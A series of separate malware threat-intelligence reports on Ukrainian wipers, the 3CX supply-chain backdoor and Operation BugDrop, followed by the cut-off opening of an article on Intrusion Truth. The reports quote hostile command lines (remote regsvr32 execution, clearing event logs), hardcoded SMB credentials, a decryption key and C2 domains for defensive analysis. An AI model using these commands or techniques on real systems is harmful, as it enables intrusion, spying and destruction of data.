# IsaacWiper and HermeticWizard: New Wiper and Worm Targeting Ukraine As the recent hostilities started between Russia and Ukraine, ESET researchers discovered several malware families targeting Ukrainian organizations. On February 23rd, 2022, a destructive campaign using HermeticWiper targeted multiple Ukrainian organizations. This cyberattack preceded, by a few hours, the start of the invasion of Ukraine by Russian Federation forces. Initial access vectors varied from one organization to another. We confirmed one case of the wiper being dropped by GPO and uncovered a worm used to spread the wiper in another compromised network. Malware artifacts suggest that the attacks had been planned for several months. On February 24th, 2022, a second destructive attack against a Ukrainian governmental network started, using a wiper we have named IsaacWiper. ESET Research has not yet been able to attribute these attacks to a known threat actor. ## Destructive Attacks in Ukraine As stated in this ESET Research tweet and WLS blog post, we uncovered a destructive attack against computers in Ukraine that started around 14:52 on February 23rd, 2022 UTC. This followed distributed denial-of-service (DDoS) attacks against major Ukrainian websites and preceded the Russian military invasion by a few hours. These destructive attacks leveraged at least three components: - **HermeticWiper**: makes a system inoperable by corrupting its data - **HermeticWizard**: spreads HermeticWiper across a local network via WMI and SMB - **HermeticRansom**: ransomware written in Go HermeticWiper was observed on hundreds of systems in at least five Ukrainian organizations. On February 24th, 2022, we detected yet another new wiper in a Ukrainian governmental network. We named it IsaacWiper and we are currently assessing its links, if any, with HermeticWiper. It is important to note that it was seen in an organization that was not affected by HermeticWiper. ## Attribution At this point, we have not found any tangible connection with a known threat actor. HermeticWiper, HermeticWizard, and HermeticRansom do not share any significant code similarity with other samples in the ESET malware collection. IsaacWiper is still unattributed as well. ## Timeline HermeticWiper and HermeticWizard are signed by a code-signing certificate assigned to Hermetica Digital Ltd issued on April 13th, 2021. We requested the issuing CA (DigiCert) to revoke the certificate, which it did on February 24th, 2022. According to a report by Reuters, it seems that this certificate was not stolen from Hermetica Digital. It is likely that instead the attackers impersonated the Cypriot company in order to get this certificate from DigiCert. ESET researchers assess with high confidence that the affected organizations were compromised well in advance of the wiper’s deployment. This is based on several facts: - HermeticWiper PE compilation timestamps, the oldest being December 28th, 2021 - The code-signing certificate issue date of April 13th, 2021 - Deployment of HermeticWiper through GPO in at least one instance suggests the attackers had prior access to one of that victim’s Active Directory servers ## Initial Access ### HermeticWiper The initial access vector is currently unknown but we have observed artifacts of lateral movement inside the targeted organizations. In one entity, the wiper was deployed through the default domain policy (GPO), as shown by its path on the system: `C:\Windows\system32\GroupPolicy\DataStore\0\sysvol\<redacted>\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\cc.exe` This indicates that attackers likely took control of the Active Directory server. In other instances, it is possible that Impacket was used to deploy HermeticWiper. A Symantec blog post states that the wiper was deployed using the following command line: `cmd.exe /Q /c move CSIDL_SYSTEM_DRIVE\temp\sys.tmp1 CSIDL_WINDOWS\policydefinitions\postgresql.exe 1> \\127.0.0.1\ADMIN$\__1636727589.6007507 2>&1` The last part is the same as the default behavior in Impacket’s wmiexec.py, found on GitHub. Finally, a custom worm that we have named HermeticWizard was used to spread HermeticWiper across the compromised networks via SMB and WMI. ### IsaacWiper The initial access vector is also currently unknown. It is likely that attackers used tools such as Impacket to move laterally. On a few machines, we have also observed RemCom, a remote access tool, being deployed at the same time as IsaacWiper. ## Technical Analysis ### HermeticWiper HermeticWiper is a Windows executable with four drivers embedded in its resources. They are legitimate drivers from the EaseUS Partition Master software signed by CHENGDU YIWO Tech Development Co., and they implement low-level disk operations. The following files were observed: - 0E84AFF18D42FC691CB1104018F44403C325AD21: x64 driver - 379FF9236F0F72963920232F4A0782911A6BD7F7: x86 driver - 87BD9404A68035F8D70804A5159A37D1EB0A3568: x64 XP driver - B33DD3EE12F9E6C150C964EA21147BF6B7F7AFA9: x86 XP driver Depending on the operating system version, one of those four drivers is chosen and dropped in `C:\Windows\System32\drivers\<4 random letters>.sys`. It is then loaded by creating a service. HermeticWiper then proceeds by disabling the Volume Shadow Copy Service (VSS) and wipes itself from disk by overwriting its own file with random bytes. This anti-forensic measure is likely intended to prevent the analysis of the wiper in a post-incident analysis. It is interesting to note that most of the file operations are performed at a low level using DeviceIoControl calls. The following locations are overwritten with random bytes generated by the Windows API function CryptGenRandom: - The master boot record (MBR) - The master file table (MFT) - $Bitmap and $LogFile on all drives - The files containing the registry keys (NTUSER*) - `C:\Windows\System32\winevt\Logs` In addition, it also recursively wipes folders and files in Windows, Program Files, Program Files(x86), PerfLogs, Boot, System Volume Information, and AppData folders, using a FSCTL_MOVE_FILE operation. This technique appears to be quite unusual and very similar to what is implemented in the Windows Wipe project on GitHub. It also wipes symbolic links and big files in My Documents and Desktop folders by overwriting them with random bytes. Finally, the machine is restarted. However, it will fail to boot, because the MBR, the MFT, and most files were wiped. We believe it is not possible to recover the impacted machines. ### HermeticWizard Looking for other samples signed by the same code-signing certificate (Hermetica Digital Ltd), we found a new malware family that we named HermeticWizard. It is a worm that was deployed on a system in Ukraine at 14:52:49 on February 23rd, 2022 UTC. It is a DLL file developed in C++ that exports the functions DllInstall, DllRegisterServer, and DllUnregisterServer. Its export DLL name is Wizard.dll. It contains three resources, which are encrypted PE files: - A sample of HermeticWiper (912342F1C840A42F6B74132F8A7C4FFE7D40FB77) - exec_32.dll, responsible for spreading to other local computers via WMI (6B5958BFABFE7C731193ADB96880B225C8505B73) - romance.dll, responsible for spreading to other local computers via SMB (AC5B6F16FC5115F0E2327A589246BA00B41439C2) The resources are encrypted with a reverse XOR loop. Each block of four bytes is XORed with the previous block. Finally, the first block is XORed with a hardcoded value, 0x4A29B1A3. HermeticWizard is started using the command line `regsvr32.exe /s /i <path>`. First, HermeticWizard tries to find other machines on the local network. It gathers known local IP addresses using the following Windows functions: - DNSGetCacheDataTable - GetIpNetTable - WNetOpenEnumW(RESOURCE_GLOBALNET, RESOURCETYPE_ANY) - NetServerEnum - GetTcpTable - GetAdaptersAddresses It then tries to connect to those IP addresses (and only if they are local IP addresses) to see if they are still reachable. In case the -s argument was provided when HermeticWizard was started, it also scans the full /24 range. So, if 192.168.1.5 was found in, for example, the DNS cache, it incrementally scans from 192.168.1.1 to 192.168.1.254. For each IP address, it tries to open a TCP connection on the following ports: - 20: ftp - 21: ftp - 22: ssh - 80: http - 135: rpc - 137: netbios - 139: smb - 443: https - 445: smb The ports are scanned in a random order so it’s not possible to fingerprint HermeticWizard traffic that way. When it has found a reachable machine, it drops the WMI spreader on disk and creates a new process with the command line `rundll32 <current folder>\<6 random letters>.ocx #1 -s <path to HermeticWizard> – i <target IP>`. It does the same with the SMB spreader that is also dropped in `<current folder>\<6 random letters>.ocx`, but with different random letters. Finally, it drops HermeticWiper in `<current folder>\<6 random letters>.ocx` and executes it. ### WMI Spreader The WMI spreader, named by its developers exec_32.dll, takes two arguments: - -i: The target IP address - -s: The file to copy and execute on the target machine First, it creates a connection to the remote ADMIN$ share of the target using WNetAddConnection2W. The file provided in the -s argument is then copied using CopyFileW. The remote file has a random name generated with CoCreateGUID (e.g., cB9F06408D8D2.dll) and the string format c%02X%02X%02X%02X%02X%02X. Second, it tries to execute the copied file, HermeticWizard, on the remote machine using DCOM. It calls CoCreateInstance with CLSID_WbemLocator as argument. It then uses WMI Win32_Process to create a new process on the remote machine, with the command line `C:\windows\system32\cmd.exe /c start C:\windows\system32\\regsvr32.exe /s /i C:\windows\<filename>.dll`. Note that the -s argument is not passed to HermeticWizard, meaning that it won’t scan the local network again from this newly compromised machine. If the WMI technique fails, it tries to create a service using OpenRemoteServiceManager with the same command as above. If it succeeds in executing the remote DLL in any way, it sleeps until it can delete the remote file. ### SMB Spreader The SMB spreader, named by its developers romance.dll, takes the same two arguments as the WMI spreader. Its internal name is likely a reference to the EternalRomance exploit, even if it does not use any exploit. First, it attempts to connect to the following pipes on the remote SMB share (on port 445): - samr - browser - netlogon - lsarpc - nsvcs - svcctl These are pipes known to be used in lateral movement. The spreader has a list of hardcoded credentials that are used in attempts to authenticate via NTLMSSP to the SMB shares: - **Usernames**: guest, test, admin, user, root, administrator, manager, operator - **Passwords**: 123, Qaz123, Qwerty123 This list of credentials is surprisingly short and is unlikely to work in even the most poorly protected networks. If the connection is successful, it attempts to drop, to the target ADMIN$ share, the file referenced by the -s argument. As for the WMI spreader, the remote filename is generated by a call to CoCreateInstance. It then executes, via SMB, the command line `cmd /c start regsvr32 /s /i ..\\<filename> & start cmd /c "ping localhost -n 7 & wevtutil cl System"`. ### HermeticRansom ESET researchers also observed HermeticRansom – ransomware written in Go – being used in Ukraine at the same time as the HermeticWiper campaign. HermeticRansom was first reported in the early hours of February 24th, 2022 UTC, in a tweet from AVAST. Our telemetry shows a much smaller deployment compared to HermeticWiper. This ransomware was deployed at the same time as HermeticWiper, potentially in order to hide the wiper’s actions. On one machine, the following timeline was observed: - 2022-02-23 17:49:55 UTC: HermeticWiper in `C:\Windows\Temp\cc.exe` deployed - 2022-02-23 18:06:57 UTC: HermeticRansom in `C:\Windows\Temp\cc2.exe` deployed by the netsvcs service - 2022-02-23 18:26:07 UTC: Second HermeticWiper in `C:\Users\com.exe` deployed On one occasion, we observed HermeticRansom being deployed through GPO, just like HermeticWiper: `C:\WINDOWS\system32\GroupPolicy\DataStore\0\sysvol\<redacted>\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\cpin.exe` A few strings were left in the binary by the attackers; they reference US President Biden and the White House: - _/C_/projects/403forBiden/wHiteHousE.baggageGatherings - _/C_/projects/403forBiden/wHiteHousE.lookUp - _/C_/projects/403forBiden/wHiteHousE.primaryElectionProcess - _/C_/projects/403forBiden/wHiteHousE.GoodOffice1 Once files are encrypted, the message is displayed to the victim. ### IsaacWiper IsaacWiper is found in either a Windows DLL or EXE with no Authenticode signature; it appeared in our telemetry on February 24th, 2022. As mentioned earlier, the oldest PE compilation timestamp we have found is October 19th, 2021, meaning that if its PE compilation timestamp was not tampered with, IsaacWiper might have been used in previous operations months earlier. For DLL samples, the name in the PE export directory is Cleaner.dll and it has a single export _Start@4. We have observed IsaacWiper in %programdata% and `C:\Windows\System32` under the following filenames: - clean.exe - cl.exe - cl64.dll - cld.dll - cll.dll It has no code similarity with HermeticWiper and is way less sophisticated. Given the timeline, it is possible that both are related but we haven’t found any strong connection yet. IsaacWiper starts by enumerating the physical drives and calls DeviceIoControl with the IOCTL IOCTL_STORAGE_GET_DEVICE_NUMBER to get their device numbers. It then wipes the first 0x10000 bytes of each disk using the ISAAC pseudorandom generator. The generator is seeded using the GetTickCount value. It then enumerates the logical drives and recursively wipes every file of each disk with random bytes also generated by the ISAAC PRNG. It is interesting to note that it recursively wipes the files in a single thread, meaning that it would take a long time to wipe a large disk. On February 25th, 2022, attackers dropped a new version of IsaacWiper with debug logs. This may indicate that the attackers were unable to wipe some of the targeted machines and added log messages to understand what was happening. The logs are stored in `C:\ProgramData\log.txt` and some of the log messages are: - getting drives… - start erasing physical drives… - –– start erasing logical drive - start erasing system physical drive… - system physical drive –– FAILED - start erasing system logical drive ## Conclusion This report details a destructive cyberattack that impacted Ukrainian organizations on February 23rd, 2022, and a second attack that affected a different Ukrainian organization from February 24th through 26th, 2022. At this point, we have no indication that other countries were targeted. However, due to the current crisis in Ukraine, there is still a risk that the same threat actors will launch further campaigns against countries that back the Ukrainian government or that sanction Russian entities. ## IoCs | SHA-1 | Filename | ESET detection name | Description | |-------|----------|---------------------|-------------| | 912342F1C840A42F6B74132F8A7C4FFE7D40FB77 | com.exe | Win32/KillDisk.NCV | HermeticWip | | 61B25D11392172E587D8DA3045812A66C3385451 | conhosts.exe | Win32/KillDisk.NCV | HermeticWip | | 3C54C9A49A8DDCA02189FE15FEA52FE24F41A86F | c9EEAF78C9A12.dat | Win32/GenCBL.BSP | HermeticWiz | | F32D791EC9E6385A91B45942C230F52AFF1626DF | cc2.exe | WinGo/Filecoder.BK | HermeticRan | | AD602039C6F0237D4A997D5640E92CE5E2B3BBA3 | cl64.dll | Win32/KillMBR.NHP | IsaacWiper | | 736A4CFAD1ED83A6A0B75B0474D5E01A3A36F950 | cld.dll | Win32/KillMBR.NHQ | IsaacWiper | | E9B96E9B86FAD28D950CA428879168E0894D854F | clean.exe | Win32/KillMBR.NHP | IsaacWiper | | 23873BF2670CF64C2440058130548D4E4DA412DD | XqoYMlBX.exe | Win32/RiskWare.RemoteAdmin.RemoteExec.AC | Legitimate RemCom remote access tool | ## MITRE ATT&CK Techniques | Tactic | ID | Name | Description | |--------|----|------|-------------| | Resource Development | T1588.002 | Obtain Capabilities: Tool | Attackers used RemCom and potentially Impacket as part of their campaign. | | Resource Development | T1588.003 | Obtain Capabilities: Code Signing Certificates | Attackers acquired a code-signing certificate for their campaigns. | | Initial Access | T1078.002 | Valid Accounts: Domain Accounts | Attackers were able to deploy wiper malware through GPO. | | Execution | T1059.003 | Command and Scripting Interpreter: Windows Command Shell | Attackers used the command line during their attack (e.g., possible Impacket usage). | | Execution | T1106 | Native API | Attackers used native APIs in their malware. | | Execution | T1569.002 | System Services: Service Execution | HermeticWiper uses a driver, loaded as a service, to corrupt data. | | Execution | T1047 | Windows Management Instrumentation | HermeticWizard attempts to spread to local computers using WMI. | | Discovery | T1018 | Remote System Discovery | HermeticWizard scans local IP ranges to find local machines. | | Lateral Movement | T1021.002 | Remote Services: SMB/Windows Admin Shares | HermeticWizard attempts to spread to local computers using SMB. | | Lateral Movement | T1021.003 | Remote Services: Distributed Component Object Model | HermeticWizard attempts to spread to local computers using WbemLocator to remotely start a new process via WMI. | | Impact | T1561.002 | Disk Wipe: Disk Structure Wipe | HermeticWiper corrupts data in the system’s MBR and MFT. | | Impact | T1561.001 | Disk Wipe: Disk Content Wipe | HermeticWiper corrupts files in Windows, Program Files, Program Files(x86), PerfLogs, Boot, System Volume Information, and AppData. | | Impact | T1485 | Data Destruction | HermeticWiper corrupts user data found on the system. | | Impact | T1499.002 | Endpoint Denial of Service: Service Exhaustion Flood | By using DDoS attacks, the attackers made a number of government websites unavailable. |
# 3CX Supply Chain Attack Analysis On March 29th, 2023, CrowdStrike published a blog outlining a supply chain attack leveraging the 3CXDesktopApp - a softphone application from 3CX. The ThreatLabz Team immediately started hunting for IoCs on the Zscaler Cloud. We observed infections dating back to February 2023 for both the Windows and MacOS variants of the Trojanized 3CXDesktopApp installers. In this case, the Threat Actors targeted various industry verticals such as Technology, Services, Manufacturing, and more. ## Infection Chain The infection chain begins with the software update routine where the 3CXDesktopApp calls the “Update.exe --update <3cx_update_url>” from its bundle to fetch the updates. This then downloads the valid signed malicious 3CX MSI installer and the affected 3CX MAC application as required in the form of an update package on the victim's machine. In this blog, we will take a look at the affected valid signed 3CX MSI Installer version 18.12.416 named “3CXDesktopApp-18.12.416.msi,” which is signed on March 13, 2023. Upon execution, the 3CX MSI installer extracts multiple files in the “AppData\Local\Programs\3CXDesktopApp” and then executes the valid signed 3CXDesktopApp.exe. Further, the 3CXDesktopApp.exe side loads the backdoored signed DLL named “ffmpeg.dll.” Based on the DLL search order mechanism, if the DLL is present in the application's directory, the DLL is loaded from there. Based on reports, the ffmpeg.dll was backdoored by the Threat Actors via manipulating the source code, leading to the supply chain attack. Once loaded into the virtual memory, the malicious “ffmpeg.dll” is commissioned to load the d3dcompiler_47.dll, which contains the encrypted second stage payload. Initially, the main function creates an event called "AVMonitorRefreshEvent" and checks if it already exists. If it does, it exits. After that, it checks the current path in order to load the d3dcompiler_47.dll into memory and further loads the DLL into memory, checking if the DLL loaded correctly by comparing the starting byte of the DLL. In this case, the d3dcompiler_47.dll, consisting of the RC4 encrypted shellcode and embedded DLL, is validly signed by the Microsoft Digital certificate. Further in the infection chain, the ffmpeg.dll looks for the specific hex byte (FE ED FA CE) in the loaded d3dcompiler_47.dll, which contains a second stage encrypted payload. After it locates the specific hex in the loaded d3dcompiler_47.dll, it uses the RC4 decryption with the key “3jB(2bsG#@c7” to decrypt the second stage payload, which is a shellcode with an embedded DLL. The shellcode is responsible for calling the export function “DllGetClassObject” of the second stage DLL to execute and download further stage payload. The Stage-2 DLL further downloads the icon file from a GitHub repository. We observed in some cases that the second stage decrypted DLL would sleep for more than 7 days before communicating with the C2 server. The GitHub repository consists of multiple icon files. These icons are downloaded by the Stage-2 DLL. Further, the Stage-2 DLL reads the icon file and parses the encrypted string present at the end of the downloaded icon file and passes it to the ico_decryption() function. The encrypted string from the icon file is base64 decoded and then passed to a decryption routine. The decrypted string in this case is the C2 URL: `https://glcloudservice.com/v1/console`. Further, the malware performs HTTPS requests to the C2 URL. At the time of analysis, the C2 domains were down. The expected response would be in JSON format consisting of encrypted data, which is then decrypted by the decryption routine before the final payload is executed on the infected machine. Based on the blog published by Sentinel One, the final payload delivered on the target machines in the supply chain attack was an Infostealer with capabilities such as collecting system information and browser information such as saved credentials from Brave, Chrome, Edge, and Firefox. ## Affected 3CX Versions Following are the affected versions announced by 3CX: **Affected 3CX Electron Windows App Versions:** - 18.12.416 - 18.12.407 **Affected Electron Mac App Versions:** - 18.11.1213 - 18.12.402 - 18.12.407 - 18.12.416 ## IoCs | File Name | Md5 | |--------------------------------------|---------------------------------------| | 3CXDesktopApp-18.12.416.msi | 0eeb1c0133eb4d571178b2d9d14ce3e9 | | 3CXDesktopApp.exe | 704db9184700481a56e5100fb56496ce | | ffmpeg.dll | cb01ff4809638410a531400a66376fa3 | | d3dcompiler_47.dll | 82187ad3f0c6c225e2fba0c867280cc9 | ## C2 Domains - akamaicontainer.com - akamaitechcloudservices.com - azuredeploystore.com - azureonlinecloud.com - azureonlinestorage.com - dunamistrd.com - glcloudservice.com - journalide.org - msedgepackageinfo.com - msstorageazure.com - msstorageboxes.com - officeaddons.com - officestoragebox.com - pbxcloudeservices.com - pbxphonenetwork.com - pbxsources.com - qwepoi123098.com - sbmsa.wiki - sourceslabs.com - visualstudiofactory.com - zacharryblogs.com - msedgeupdate.net
# Operation BugDrop: CyberX Discovers Large-Scale Cyber-Reconnaissance Operation Targeting Ukrainian Organizations By Phil Neray 2/15/2017 CyberX has discovered a new, large-scale cyber-reconnaissance operation targeting a broad range of targets in Ukraine. Because it eavesdrops on sensitive conversations by remotely controlling PC microphones – in order to surreptitiously “bug” its targets – and uses Dropbox to store exfiltrated data, CyberX has named it “Operation BugDrop.” ## Operation BugDrop: Targets CyberX has confirmed at least 70 victims successfully targeted by the operation in a range of sectors including critical infrastructure, media, and scientific research. The operation seeks to capture a range of sensitive information from its targets including audio recordings of conversations, screenshots, documents, and passwords. Unlike video recordings, which are often blocked by users simply placing tape over the camera lens, it is virtually impossible to block your computer’s microphone without physically accessing and disabling the PC hardware. Most of the targets are located in Ukraine, but there are also targets in Russia and a smaller number of targets in Saudi Arabia and Austria. Many targets are located in the self-declared separatist states of Donetsk and Luhansk, which have been classified as terrorist organizations by the Ukrainian government. Examples of Operation BugDrop targets identified by CyberX so far include: - A company that designs remote monitoring systems for oil & gas pipeline infrastructures. - An international organization that monitors human rights, counter-terrorism, and cyberattacks on critical infrastructure in Ukraine. - An engineering company that designs electrical substations, gas distribution pipelines, and water supply plants. - A scientific research institute. - Editors of Ukrainian newspapers. Operation BugDrop is a well-organized operation that employs sophisticated malware and appears to be backed by an organization with substantial resources. In particular, the operation requires a massive back-end infrastructure to store, decrypt, and analyze several GB per day of unstructured data that is being captured from its targets. A large team of human analysts is also required to manually sort through captured data and process it manually and/or with Big Data-like analytics. Initially, CyberX saw similarities between Operation BugDrop and a previous cyber-surveillance operation discovered by ESET in May 2016 called Operation Groundbait. However, despite some similarities in the Tactics, Techniques, and Procedures (TTPs) used by the hackers in both operations, Operation BugDrop’s TTPs are significantly more sophisticated than those used in the earlier operation. For example, it uses: - Dropbox for data exfiltration, a clever approach because Dropbox traffic is typically not blocked or monitored by corporate firewalls. - Reflective DLL Injection, an advanced technique for injecting malware that was also used by BlackEnergy in the Ukrainian grid attacks and by Duqu in the Stuxnet attacks on Iranian nuclear facilities. Reflective DLL Injection loads malicious code without calling the normal Windows API calls, thereby bypassing security verification of the code before it gets loaded into memory. - Encrypted DLLs, thereby avoiding detection by common anti-virus and sandboxing systems because they’re unable to analyze encrypted files. - Legitimate free web hosting sites for its command-and-control infrastructure. C&C servers are a potential pitfall for attackers as investigators can often identify attackers using registration details for the C&C server obtained via freely-available tools such as whois and PassiveTotal. Free web hosting sites, on the other hand, require little or no registration information. Operation BugDrop uses a free web hosting site to store the core malware module that gets downloaded to infected victims. In comparison, the Groundbait attackers registered and paid for their own malicious domains and IP addresses. Operation BugDrop infects its victims using targeted email phishing attacks and malicious macros embedded in Microsoft Office attachments. It also uses clever social engineering to trick users into enabling macros if they aren’t already enabled. ## How CyberX Investigated Operation BugDrop CyberX’s Threat Intelligence Research team initially discovered Operation BugDrop malware in the wild. The team then reverse-engineered the code to analyze its various components (decoy documents used in phishing attacks, droppers, main module, microphone module, etc.) and how the malware communicates with its C&C servers. The team also needed to reverse-engineer exactly how the malware generates its encryption keys. ## Distribution of Targets by Geography The modules were compiled about a month after ESET announced the existence of Operation Groundbait. If the two operations are indeed related, this might indicate the group decided it needed to change its TTPs to avoid detection. ## Technical Details ### High-level view of malware architecture 1. **Infection Method** Users are targeted via specially crafted phishing emails and prompted to open a Microsoft Word decoy document containing malicious macros. If macros are disabled, users are presented with a dialog box prompting them to enable macros. The dialog box is well designed and appears to be an authentic Microsoft Office message. Russian text in dialog box: “внимание! Файл создан в более новой версии программы Микрософт Office. Необходимо включить Макросы для корректного отображения содержимого документа” This is translated as: “Attention! The file was created in a newer version of Microsoft Office programs. You must enable macros to correctly display the contents of a document.” Based on the document metadata, the language in which the list is written is Ukrainian, but the original language of the document is Russian. The creator of the decoy document is named “Siada.” Last modified date is 2016-12-22 10:37:00. 2. **Main Downloader** The main downloader is extracted from the decoy document via a malicious VB script that runs it from the temp folder. The downloader has low detection rates (detected by only 4 out of 54 AV products). 3. **Dropper — Stage 0** The icon for the downloader EXE was copied from a Russian social media site. The dropper has 2 DLLs stored in its resources; they are XOR’ed in such a way that the current byte is XOR’ed with the previous byte. This technique is much better than just plain XOR because it results in a byte distribution that doesn’t look like a normal Portable Executable (PE) file loader. This helps obfuscate the file so that it will not be detected by anti-virus systems. The DLLs are extracted into the app data folder: `%USERPROFILE%\AppData\Roaming\Microsoft\VSA\.nlp` – Stage 1 `%USERPROFILE%\AppData\Roaming\Microsoft\Protect\.nlp.hist` – Stage 2 The first stage is executed and the DLL is loaded using Reflective DLL Injection. 4. **Dropper – Stage 1 – Achieving Persistency** Internal name: loadCryptRunner.dll Compiled: Mon Dec 12 10:09:15 2016 Responsible for persistency and executing the downloader DLL, the Stage 1 Dropper registers itself in the registry under the key: `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\drvpath` `RUNDLL32 “%USERPROFILE%\AppData\Roaming\Microsoft\VSA\klnihw22.nlp”, RUNNER` The communication DLL is also loaded using Reflective DLL Injection. 5. **Dropper – Stage 2 – Downloader for Main Module** Internal name: esmina.dll Compiled: Mon Oct 10 14:47:28 2016 The main purpose of this DLL is to download the main module. The main module is hosted on a free web hosting site with the following URL: `windows-problem-reporting.site88.net` [Note: Do not visit this malicious site.] We were unable to find any information about this URL in public data sources. Attempting to directly access the URL leads to an “HTTP/1.1 404 Not Found” message. It appears as if downloading the module requires manual approval, indicating the need for a human analyst or handler in the loop. The main module is then downloaded and loaded into memory using Reflective DLL Injection. 6. **Main Module** The main module downloads the various data-stealing plugins assigned to each victim and executes them. It also collects locally-stored stolen data and uploads it to Dropbox. The main module incorporates a number of anti-Reverse Engineering (RE) techniques: - Checks if a debugger is present. - Checks if the process is running in a virtualized environment. - Checks if ProcessExplorer is running. ProcessExplorer is used to identify malware hiding inside a legitimate process as a DLL, which occurs as a result of DLL injection. - Checks to see if WireShark is running. WireShark can be used to identify malicious traffic originating on your computer. It registers itself in the registry under the key: `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\hlpAsist` `RUNDLL32 “%USERPROFILE%\AppData\Roaming\Microsoft\MSDN\iodonk18.dll”, IDLE` 7. **Dropbox Mechanisms** There are 3 directories on the server: - obx – Contains modules used by the main module - ibx – Contains exfiltrated output uploaded by the plugins - rbx – Contains basic information about the connected client After the stored data is retrieved by the attackers, it is deleted from the Dropbox account. The Dropbox user that registered the account has the following details: Name: P***** Email: P********@mail.ru 8. **Encryption Mechanisms** The data-stealing plugins store all their output in: `%USERPROFILE%\AppData\Roaming\Media`. Before being sent to Dropbox by the main module, the files are encrypted with Blowfish. The Blowfish encryption key is the client ID. 9. **Data-Stealing Plugins** - **File Collector**: Searches for a variety of file types that are stored locally or on shared drives (including doc, docx, xls, xlsx, ppt, pptx, pdf, zip, rar, db, txt). Files are uploaded on-demand. - **USB File Collector**: Searches for a variety of file types on USB drives (including doc, docx, xls, xlsx, ppt, pptx, pdf, zip, rar, db, txt). - **Browser Data Collector**: Used to steal passwords and other sensitive information stored in browsers. - **Microphone**: Captures audio conversations. - **Computer Info Collector**: Collects data about the client such as Windows OS version, computer name, user name, IP address, MAC address, antivirus software, etc. Not all of the plugins are downloaded to every target. Each module has a unique extension which is the client ID. This is how the main module knows which modules should be downloaded to a particular target. ## Conclusions 1. Operation BugDrop was a cyber-reconnaissance mission; its goal was to gather intelligence about targets in various domains including critical infrastructure, media, and scientific research. We have no evidence that any damage or harm has occurred from this operation; however, identifying, locating, and performing reconnaissance on targets is usually the first phase of operations with broader objectives. 2. Skilled hackers with substantial financial resources carried out Operation BugDrop. Given the amount of data analysis that needed to be done on a daily basis, we believe BugDrop was heavily staffed. Given the sophistication of the code and how well the operation was executed, we have concluded that those carrying it out have previous field experience. While we are comfortable assigning nation-state level capabilities to this operation, we have no forensic evidence that links BugDrop to a specific nation-state or group. “Attribution” is notoriously difficult, with the added difficulty that skilled hackers can easily fake clues or evidence to throw people off their tail. 3. Private and public sector organizations need to continuously monitor their IT and OT networks for anomalous activities indicating they’ve been compromised. Fortunately, new algorithmic technologies like behavioral analytics are now available to rapidly identify unusual or unauthorized activities with minimal false positives, especially when combined with actionable threat intelligence. Organizations also need deep forensics to identify the scope and impact of a breach, as well as an enterprise-wide incident response plan that can be carried out quickly and at scale. ## Appendix ### Hashes (SHA-256) **Decoy Document:** 997841515222dbfa65d1aea79e9e6a89a0142819eaeec3467c31fa169e57076a **Dropper:** f778ca5942d3b762367be1fd85cf7add557d26794fad187c4511b3318aff5cfd **Plugins** **Screenshot Collector:** 7d97008b00756905195e9fc008bee7c1b398a940e00b0bd4c56920c875f28bfe dc21527bd925a7dc95b84167c162747069feb2f4e2c1645661a27e63dff8c326 7e4b2edf01e577599d3a2022866512d7dd9d2da7846b8d3eb8cea7507fb6c92a **Keylogger:** fc391f843b265e60de2f44f108b34e64c358f8362507a8c6e2e4c8c689fcdf67 943daa88fe4b5930cc627f14bf422def6bab6d738a4cafd3196f71f1b7c72539 bbe8394eb3b752741df0b30e1d1487eeda7e94e0223055771311939d27d52f78 6c479da2e2cc296c18f21ddecc787562f600088bd37cc2154c467b0af2621937 01aab8341e1ef1a8305cf458db714a0392016432c192332e1cd9f7479507027f **File Collector:** 06dcf3dc4eab45c7bd5794aafe4d3f72bb75bcfb36bdbf2ba010a5d108b096dc daf7d349b1b12d9cf2014384a70d5826ca3be6d05df13f7cb1af5b5f5db68d54 24f56ba4d779b913fefed80127e9243303307728ebec85bdb5a61adc50df9eb6 a65e79bdf971631d2097b18e43af9c25f007ae9c5baaa9bda1c470af20e1347c **USB File Collector:** a47e6fab82ac654332f4e56efcc514cb2b45c5a126b9ffcd2c84a842fb0283a2 07c25eebdbd16f176d0907e656224d6a4091eb000419823f989b387b407bfd29 3c0f18157f30414bcfed7a138066bc25ef44a24c5f1e56abb0e2ab5617a91000 **Browser Data Collector:** fb836d9897f3e8b1a59ebc00f59486f4c7aec526a9e83b171fd3e8657aadd1a1 966804ac9bc376bede3e1432e5800dd2188decd22c358e6f913fbaaaa5a6114d 296c738805040b5b02eae3cc2b114c27b4fb73fa58bc877b12927492c038e27c 61244d5f47bb442a32c99c9370b53ff9fc2ecb200494c144e8b55069bc2fa166 cae95953c7c4c8219325074addc9432dee640023d18fa08341bf209a42352d7d a0400125d98f63feecac6cb4c47ed2e0027bd89c111981ea702f767a6ce2ef75 **Microphone:** 1f5e663882fa6c96eb6aa952b6fa45542c2151d6a9191c1d5d1deb9e814e5a50 912d54589b28ee822c0442b664b2a9f05055ea445c0ec28f3352b227dc6aa2db 691afe0547bd0ab6c955a8ec93febecc298e78342f78b3dd1c8242948c051de6 **Computer Info Collector:** c9bf4443135c080fb81ab79910c9cfb2d36d1027c7bf3e29ee2b194168a463a7 f383e18c66271b210f93bee8cc145b823786637b2b8660bb32475dbe600be46e d96e5a74da7f9b204f3dfad6d33d2ab29f860f77f5348487f4ef5276f4262311
# Unmasking China’s State Hackers **Kim Zetter** Intrusion Truth debuted in 2017, unmasking hackers working for the Chinese government. Five years later, they’re still at it while managing to keep their own identity a secret. Photos that Intrusion Truth posted purportedly show one MSS intelligence officer that the group alleges was involved in hacking operations conducted by APT 40. Zero Day has blurred the faces. In 2017, an anonymous person or group calling themselves Intrusion Truth launched a bold initiative—a blog devoted to uncovering and publicly exposing the real names of Chinese state hackers allegedly responsible for stealing billions of dollars worth of trade secrets from Western companies to bolster China’s industries. This so-called economic espionage violates the boundaries of what the U.S. considers to be acceptable spying, and in 2015 it prompted President Barack Obama to call out China for the activity, which the country has denied doing. But rather than halt the theft, China simply created an apparatus to lend it plausible deniability that the state is behind the pilfering. Instead of cyber warriors in the People’s Liberation Army conducting the operations, China shifted the activity to the Ministry of State Security (MSS), a civilian intelligence agency more adept at stealth hacking, and created shell companies to hire civilian hackers to break into Western targets, according to Intrusion Truth. “[T]here are ethical and moral boundaries which the Chinese continue to violate,” the group wrote in a blog post last year. “Utilising [sic] criminals to hack for the state’s bidding, and to do so to steal IP from hard-working companies provides an unfair advantage to prop up Chinese businesses.” To call out the 